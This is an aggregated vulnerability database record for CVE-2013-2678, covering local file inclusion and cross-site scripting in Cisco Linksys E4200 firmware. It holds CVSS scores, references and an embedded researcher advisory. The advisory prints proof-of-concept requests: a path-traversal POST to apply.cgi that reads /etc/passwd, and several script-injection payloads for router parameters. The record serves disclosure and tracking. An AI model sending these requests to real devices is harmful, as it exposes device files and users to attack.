ID

VAR-202002-0519


CVE

CVE-2013-2678


TITLE

Cisco Linksys E4200 Injection vulnerabilities in routers

Trust: 0.8

sources: JVNDB: JVNDB-2013-007183

DESCRIPTION

Cisco Linksys E4200 1.0.05 Build 7 routers contain a Local File Include Vulnerability which could allow remote attackers to obtain sensitive information or execute arbitrary code by sending a crafted URL request to the apply.cgi script using the submit_type parameter. Cisco Linksys E4200 A router contains an injection vulnerability.Information is obtained, information is tampered with, and service operation is interrupted. (DoS) It may be put into a state. The Cisco Linksys E4200 is a dual-band wireless router. A local file inclusion vulnerability exists in the Cisco Linksys E4200 (firmware version 1.0.05 build 7). An attacker could exploit this vulnerability to view files and execute local scripts in the context of the affected device. This may aid in further attacks. -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 ============================================= XSS, LFI in Cisco, Linksys E4200 Firmware ============================================= URL: http://www.cloudscan.me/2013/05/xss-lfi-linksys-e4200-firmware-0d.html ============================================= January 30, 2013 ============================================= Keywords ============================================= XSS, Cross Site Scripting, CWE-79, CAPEC-86, Javascript Injection, Exploit, Zero Day, Cisco, Linksys, E4200, Wireless Router, cyberTAN Corp CVE-2013-2678, CVE-2013-2679, CVE-2013-2680, CVE-2013-2681, CVE-2013-2682, CVE-2013-2683, CVE-2013-2684 ============================================= Summary Reflected XSS + LFI Bugs in the Cisco, Linksys E4200 Wireless Router Firmware Version: 1.0.05 build 7 were discovered by our Researchers in January 2013 and finally acknowledged by Linksys in April 2013. The Vendor is unable to Patch the Vulnerability in a reasonable timeframe. This document will introduce and discuss the vulnerability and provide Proof-of-Concept (PoC) Zero Day (0D) code examples for Firmware L Version 1.10 Released on July 9, 2012, and prior versions. ============================================= Overview Linksys is a brand of home and small office networking products and a company founded in 1988, which was acquired by Cisco Systems in 2003. In 2013, as part of its push away from the consumer market, Cisco sold their home networking division and Linksys to Belkin. Products currently and previously sold under the Linksys brand name include broadband and wireless routers, consumer and small business grade Ethernet switching, VoIP equipment, wireless internet video camera, AV products, network storage systems, and other products. Linksys products were widely available in North America off-the-shelf from both consumer electronics stores (CompUSA and Best Buy), internet retailers, and big-box retail stores (WalMart). Linksys' significant competition as an independent networking firm were D-Link and NetGear, the latter for a time being a brand of Cisco competitor Nortel. ============================================= Vendor Software Fingerprint ============================================= # Copyright (C) 2009, CyberTAN Corporation # All Rights Reserved. # # THIS SOFTWARE IS OFFERED "AS IS", AND CYBERTAN GRANTS NO WARRANTIES OF ANY # KIND, EXPRESS OR IMPLIED, BY STATUTE..... ============================================= The PoC's ============================================= LFI PoC ============================================= POST /storage/apply.cgi HTTP/1.1 HOST: my.vunerable.e4500.firmware submit_type=nas_admin&submit_button=NAS_Administration&change_action=gozila _cgi&next_page=../../../../../../../../../../../../../../../../etc/passwd ============================================= XSS PoC ============================================= /apply.cgi [log_type parameter] /apply.cgi [ping_ip parameter] /apply.cgi [ping_size parameter] /apply.cgi [submit_type parameter] /apply.cgi [traceroute_ip parameter] /storage/apply.cgi [new_workgroup parameter] /storage/apply.cgi [submit_button parameter] ============================================= POST /apply.cgi HTTP/1.1 �.. change_action=gozila_cgi&submit_button=Log_View&submit_type=undefined&log_t ype=&log_type=ilog14568"%3balert(1)//482 ============================================= Other XSS PoC�s ============================================= &ping_ip='><script>alert(1)</script> &ping_size='><script>alert(1)</script> &submit_type=start_traceroute'%3balert(1)// &traceroute_ip=a.b.c.d"><script>alert(1)</script> ============================================= CVE Information ============================================= File path traversal CVE-2013-2678 Cross-site scripting (reflected) CVE-2013-2679 Cleartext submission of password CVE-2013-2680 Password field with autocomplete enabled CVE-2013-2681 Frameable response (Clickjacking) CVE-2013-2682 Private IP addresses disclosed CVE-2013-2683 HTML does not specify charset CVE-2013-2684 CVSS Version 2 Score = 4.5 ============================================= END ============================================= -----BEGIN PGP SIGNATURE----- Version: 10.2.0.2526 wsBVAwUBUYkNUnz+WcLIygj0AQg1/QgAs9Ij9d9e6IYfZXeeiCZTwoKdgtOVkser M3c49LB4CnJrxMqlrVNhM5Y2YxjydpGG1EfNzc49L43dC2G/Q2cHRfQOWdgcIXEG uJPDmKcONMN+V+rwvncyulGnCgl7R7whxspjqQk4Ov6lM+rbL3ulEi5Lg2IwzoYy ul0J8okWO9hTBWh9cbAiUMMJ7FsC3Kb0KUH2NepathT604Pif4zHtxcYY62jOEdy 7xrUSt1HUw9HMC1s0MHLWcqUbJowSlx6cInl977WKphWB8bK0bqWJO+C0cCC3jdI V8qUOX2sfB2znwOcfsiTH4olBBH1nlXtnRJxyTr42qET4nBfqFOshg== =w123 -----END PGP SIGNATURE-----

Trust: 2.52

sources: NVD: CVE-2013-2678 // JVNDB: JVNDB-2013-007183 // CNVD: CNVD-2013-05028 // BID: 59710 // PACKETSTORM: 121551

IOT TAXONOMY

category:['Network device']sub_category: -

Trust: 0.6

sources: CNVD: CNVD-2013-05028

AFFECTED PRODUCTS

vendor:ciscomodel:linksys e4200scope:eqversion:1.0.05

Trust: 1.0

vendor:ciscomodel:linksys e4200scope:eqversion:1.0.05 build 7

Trust: 0.8

vendor:ciscomodel:linksys e4200scope: - version: -

Trust: 0.6

vendor:ciscomodel:linksys e4200 buildscope:eqversion:1.0.057

Trust: 0.3

sources: CNVD: CNVD-2013-05028 // BID: 59710 // JVNDB: JVNDB-2013-007183 // NVD: CVE-2013-2678

CVSS

SEVERITY

CVSSV2

CVSSV3

nvd@nist.gov: CVE-2013-2678
value: HIGH

Trust: 1.0

NVD: JVNDB-2013-007183
value: HIGH

Trust: 0.8

CNVD: CNVD-2013-05028
value: MEDIUM

Trust: 0.6

CNNVD: CNNVD-201305-155
value: HIGH

Trust: 0.6

nvd@nist.gov: CVE-2013-2678
severity: MEDIUM
baseScore: 6.8
vectorString: AV:N/AC:M/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 8.6
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 1.0

NVD: JVNDB-2013-007183
severity: MEDIUM
baseScore: 6.8
vectorString: AV:N/AC:M/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: NONE
impactScore: NONE
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.8

CNVD: CNVD-2013-05028
severity: MEDIUM
baseScore: 6.8
vectorString: AV:N/AC:M/AU:N/C:P/I:P/A:P
accessVector: NETWORK
accessComplexity: MEDIUM
authentication: NONE
confidentialityImpact: PARTIAL
integrityImpact: PARTIAL
availabilityImpact: PARTIAL
exploitabilityScore: 8.6
impactScore: 6.4
acInsufInfo: NONE
obtainAllPrivilege: NONE
obtainUserPrivilege: NONE
obtainOtherPrivilege: NONE
userInteractionRequired: NONE
version: 2.0

Trust: 0.6

nvd@nist.gov: CVE-2013-2678
baseSeverity: HIGH
baseScore: 8.1
vectorString: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
attackVector: NETWORK
attackComplexity: HIGH
privilegesRequired: NONE
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: HIGH
exploitabilityScore: 2.2
impactScore: 5.9
version: 3.1

Trust: 1.0

NVD: JVNDB-2013-007183
baseSeverity: HIGH
baseScore: 8.1
vectorString: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
attackVector: NETWORK
attackComplexity: HIGH
privilegesRequired: NONE
userInteraction: NONE
scope: UNCHANGED
confidentialityImpact: HIGH
integrityImpact: HIGH
availabilityImpact: HIGH
exploitabilityScore: NONE
impactScore: NONE
version: 3.0

Trust: 0.8

sources: CNVD: CNVD-2013-05028 // JVNDB: JVNDB-2013-007183 // CNNVD: CNNVD-201305-155 // NVD: CVE-2013-2678

PROBLEMTYPE DATA

problemtype:CWE-74

Trust: 1.8

sources: JVNDB: JVNDB-2013-007183 // NVD: CVE-2013-2678

THREAT TYPE

remote

Trust: 0.6

sources: CNNVD: CNNVD-201305-155

TYPE

injection

Trust: 0.6

sources: CNNVD: CNNVD-201305-155

CONFIGURATIONS

sources: JVNDB: JVNDB-2013-007183

PATCH

title:Top Pageurl:https://www.linksys.com/us/

Trust: 0.8

sources: JVNDB: JVNDB-2013-007183

EXTERNAL IDS

db:NVDid:CVE-2013-2678

Trust: 3.4

db:BIDid:59710

Trust: 2.5

db:PACKETSTORMid:121551

Trust: 2.5

db:EXPLOIT-DBid:25292

Trust: 2.2

db:JVNDBid:JVNDB-2013-007183

Trust: 0.8

db:CNVDid:CNVD-2013-05028

Trust: 0.6

db:CNNVDid:CNNVD-201305-155

Trust: 0.6

sources: CNVD: CNVD-2013-05028 // BID: 59710 // JVNDB: JVNDB-2013-007183 // PACKETSTORM: 121551 // CNNVD: CNNVD-201305-155 // NVD: CVE-2013-2678

REFERENCES

url:http://packetstormsecurity.com/files/121551/cisco-linksys-e4200-cross-site-scripting-local-file-inclusion.html

Trust: 2.4

url:http://www.exploit-db.com/exploits/25292

Trust: 1.6

url:https://exchange.xforce.ibmcloud.com/vulnerabilities/84072

Trust: 1.6

url:http://www.securityfocus.com/bid/59710

Trust: 1.6

url:https://nvd.nist.gov/vuln/detail/cve-2013-2678

Trust: 1.5

url:https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2013-2678

Trust: 0.8

url:http://www.exploit-db.com/exploits/25292/

Trust: 0.6

url:http://www.cloudscan.me/2013/05/xss-lfi-linksys-e4200-firmware-0d.html

Trust: 0.4

url:http://support.linksys.com/en-us/support/routers/e4200

Trust: 0.3

url:https://nvd.nist.gov/vuln/detail/cve-2013-2683

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2013-2684

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2013-2681

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2013-2679

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2013-2680

Trust: 0.1

url:https://nvd.nist.gov/vuln/detail/cve-2013-2682

Trust: 0.1

sources: CNVD: CNVD-2013-05028 // BID: 59710 // JVNDB: JVNDB-2013-007183 // PACKETSTORM: 121551 // CNNVD: CNNVD-201305-155 // NVD: CVE-2013-2678

CREDITS

sqlhacker

Trust: 1.0

sources: BID: 59710 // PACKETSTORM: 121551 // CNNVD: CNNVD-201305-155

SOURCES

db:CNVDid:CNVD-2013-05028
db:BIDid:59710
db:JVNDBid:JVNDB-2013-007183
db:PACKETSTORMid:121551
db:CNNVDid:CNNVD-201305-155
db:NVDid:CVE-2013-2678

LAST UPDATE DATE

2024-08-14T13:24:59.189000+00:00


SOURCES UPDATE DATE

db:CNVDid:CNVD-2013-05028date:2013-05-26T00:00:00
db:BIDid:59710date:2013-05-06T00:00:00
db:JVNDBid:JVNDB-2013-007183date:2020-02-21T00:00:00
db:CNNVDid:CNNVD-201305-155date:2020-05-25T00:00:00
db:NVDid:CVE-2013-2678date:2020-02-07T14:23:11.710

SOURCES RELEASE DATE

db:CNVDid:CNVD-2013-05028date:2013-05-10T00:00:00
db:BIDid:59710date:2013-05-06T00:00:00
db:JVNDBid:JVNDB-2013-007183date:2020-02-21T00:00:00
db:PACKETSTORMid:121551date:2013-05-07T20:22:22
db:CNNVDid:CNNVD-201305-155date:2013-05-09T00:00:00
db:NVDid:CVE-2013-2678date:2020-02-04T15:15:11.350